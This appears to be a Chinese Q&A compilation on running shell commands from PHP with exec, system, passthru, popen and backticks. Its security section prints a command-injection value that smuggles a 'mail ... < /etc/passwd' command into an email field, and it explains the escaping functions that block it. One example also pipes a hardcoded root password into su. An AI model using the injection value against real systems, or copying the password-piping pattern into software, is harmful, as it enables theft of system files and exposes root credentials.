導航:首頁 > 編程語言 > php中exec

php中exec

發布時間:2022-10-15 17:13:58

1. 如何讓exec自己運行,php頁面繼續運行

在php中,如果出現exec();那麼php是先運行完exec中的外部命令,然後繼續執行接下來的php語句的。有什麼辦法讓exec自己在那運行,php語句不等待,自己運行下去,讓瀏覽器不用等待。謝謝。

Note:

如何程序使用此函數啟動,為了能保持在後台運行,此程序必須將輸出重定向到文件或其它輸出流。 否則會導致 PHP 掛起,直至程序執行結束。

exec("命令 > null");

2. PHP運行EXEC文件

在PHP中調用外部命令,可以用如下三種方法來實現:
1) 用PHP提供的專門函數

PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])

system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
例子:

復制代碼
代碼如下:

<?php

system("/usr/local/bin/webalizer/webalizer");
?>

exec()

原型:string exec (string command [, string array [, int return_var]])
exec
()函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個參數array
可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二
個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。
例子:

復制代碼
代碼如下:

<?php
exec("/bin/ls -l");

exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>

passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標准輸出設備上。所以passthru()函數經常用來調用象pbmplus
(Unix下的一個處理圖片的工具,輸出二進制的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子:

復制代碼
代碼如下:

<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>

2)
用popen()函數打開進程

上面的方法只能簡單地執行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統用戶時,要調用su來把當前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。

popen
()函數打開一個進程管道來執行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那麼就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一
的操作模式,要麼寫,要麼讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或寫)打開的,否則必須調用pclose()函數來關閉 它。

例子1:

復制代碼
代碼如下:

<?php
$fp=popen("/bin/ls -l", "r");

?>

例子2:

復制代碼
代碼如下:

<?php
/* PHP中如何增加一個系統用戶

下面是一段常式,增加一個名字為james的用戶,
root密碼是 verygood。僅供參考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3)
用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)

這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表達式,這個表達式的值就是命令執行的結果。如:

復制代碼
代碼如下:

<?php
$res='/bin/ls -l';
echo '

'.$res.'
';
?>

這個腳本的輸出就象:
hunte.gif

hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考慮些什麼?

要考慮兩個問題:安全性和超時。

看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地
址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail程序來發送這
個文件。程序就象這樣:

復制代碼
代碼如下:

<?php
system("mail $to <
procts.txt");
echo "我們的產品目錄已經發送到你的信箱:$to";
?>

用這段代碼,一般的用戶不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:

'--bla ; mail [email protected] < /etc/passwd ;'
那麼這條命令最終變成:

'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'

我相信,無論哪個網路管理人員見到這樣的命令,都會嚇出一身冷汗來。

好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字元串
中所有可能瞞過Shell而去執行另外一個命令的字元轉義。這些字元在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入
(<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字元串兩邊加上單引號,並把字元串中的單引號轉義,這樣這個字元串
就可以安全地作為命令的參數。
再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後台去運
行。但在默認情況下,象system()等函數要等到這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP腳本的超時。解決的辦法是
把命令的輸出重定向到另外一個文件或流中,如:

復制代碼
代碼如下:

<?php

system("/usr/local/bin/order_proc > /tmp/null &");
?>

3. PHP運行EXEC文件

可以,但需要系統許可權,和啟用PHP的exec函數支持,php配置默認是禁用的。
使用方法:
$str
=
exec("cmd
命令");
$str
返回執行命令後所輸出的字元。
詳細說明可以查詢php手冊

4. php中的exec問題

exec是執行參數中的命令,本例中的:

rm是刪除文件的命令,rm -rf $counterFile表示刪除$counterFile以及它裡面的所有文件和目錄(如果是目錄的話)。

echo是顯示信息的命令,echo $num > $counterFile表示顯示$num的內容到文件$counterFile裡面。

5. php怎樣判斷exec執行是否結束

exec執行結束後會返回執行結果的,所以一旦PHP收到exec的結果就說明執行完畢,至於返回的結果是什麼內容就看命令或腳本執行完畢輸出什麼了

你如果執行的是一個時間很長的腳本或命令,php會一直等命令執行結束,直到超時

6. php中exec函數用在什麼地方,什麼時候用

exec用來執行系統中的所有可執行文件, 並返回該命令執行後的輸出內容, 比如

exec('c:\a.exe');
這句可以執行c盤下的a.exe程序, 什麼時候用, 就看你什麼時候需要執行特定程序了, 比如說, php通過nginx執行, 那麼nginx的操作, php是沒有能力的, 那麼如果用php讓nginx重啟怎麼辦

exec('nginx -t reload');

7. 怎樣在php中執行exec命令

exec 或者 system 都可以調用cmd 的命令
直接上代碼:

復制代碼 代碼如下:

< ?php
/** 打開windows的計算器 */
exec('start C:WindowsSystem32calc.exe');

/** php生成windows的批處理文件後,再執行這個批處理文件*/
$filename = 't.bat';
$somecontent = 'C:
';
$somecontent .= 'cd "C:/Program Files/MySQL-Front"';
$somecontent .= '
start MySQL-Front.exe';
if (!$handle = fopen($filename, 'w')) {
echo "不能打開文件 $filename";
exit;
}
/** 首先要確定文件存在並且可寫*/
if (is_writable($filename)) {
/** 那就是當我們使用fwrite()的時候,$somecontent將要寫入的地方
將$somecontent寫入到我們打開的文件中 。*/
if (fwrite($handle, $somecontent) === FALSE) {
echo "不能寫入到文件 $filename";
exit;
}
echo "成功地將 $somecontent 寫入到文件 $filename";
fclose($handle);
} else {
echo "文件 $filename 不可寫";
}
exec($filename);
?>

8. PHP.ini開啟EXEC函數怎麼開啟

1、首先打開php.ini文件,一般默認放在C盤windows目錄下。

9. PHP.ini開啟EXEC函數怎麼開啟

1、首先打開php.ini文件,一般默認放在C盤windows目錄下。

10. 如何配置伺服器的php,使得能成功運行exec函數

如果是命令行使用的話,直接運行即可,如果是apache使用的話,需要重啟apache,如果是nginx配合使用的話,需要重啟php-fpm,exec函數執行命令並不需要安全目錄,只要有執行許可權就可以執行。

閱讀全文

與php中exec相關的資料

熱點內容
嵌入式編譯器教程 瀏覽:302
ssl數據加密傳輸 瀏覽:86
51單片機定時器方式2 瀏覽:330
命令行查看開機時間 瀏覽:812
python微博復雜網路分析 瀏覽:550
rf3148編程器 瀏覽:505
浙江標准網路伺服器機櫃雲主機 瀏覽:587
設置網路的伺服器地址 瀏覽:600
java圖形界面設計 瀏覽:751
純前端項目怎麼部署到伺服器 瀏覽:538
瓜子臉程序員 瀏覽:505
如何保證伺服器優質 瀏覽:94
小微信aPP怎麼一下找不到了 瀏覽:299
演算法纂要學術價值 瀏覽:975
程序員你好是什麼意思 瀏覽:802
倩女幽魂老伺服器如何玩 瀏覽:563
電子鍾單片機課程設計實驗報告 瀏覽:1001
看加密頻道 瀏覽:382
程序員算不算流水線工人 瀏覽:632
三星電視我的app怎麼卸載 瀏覽:44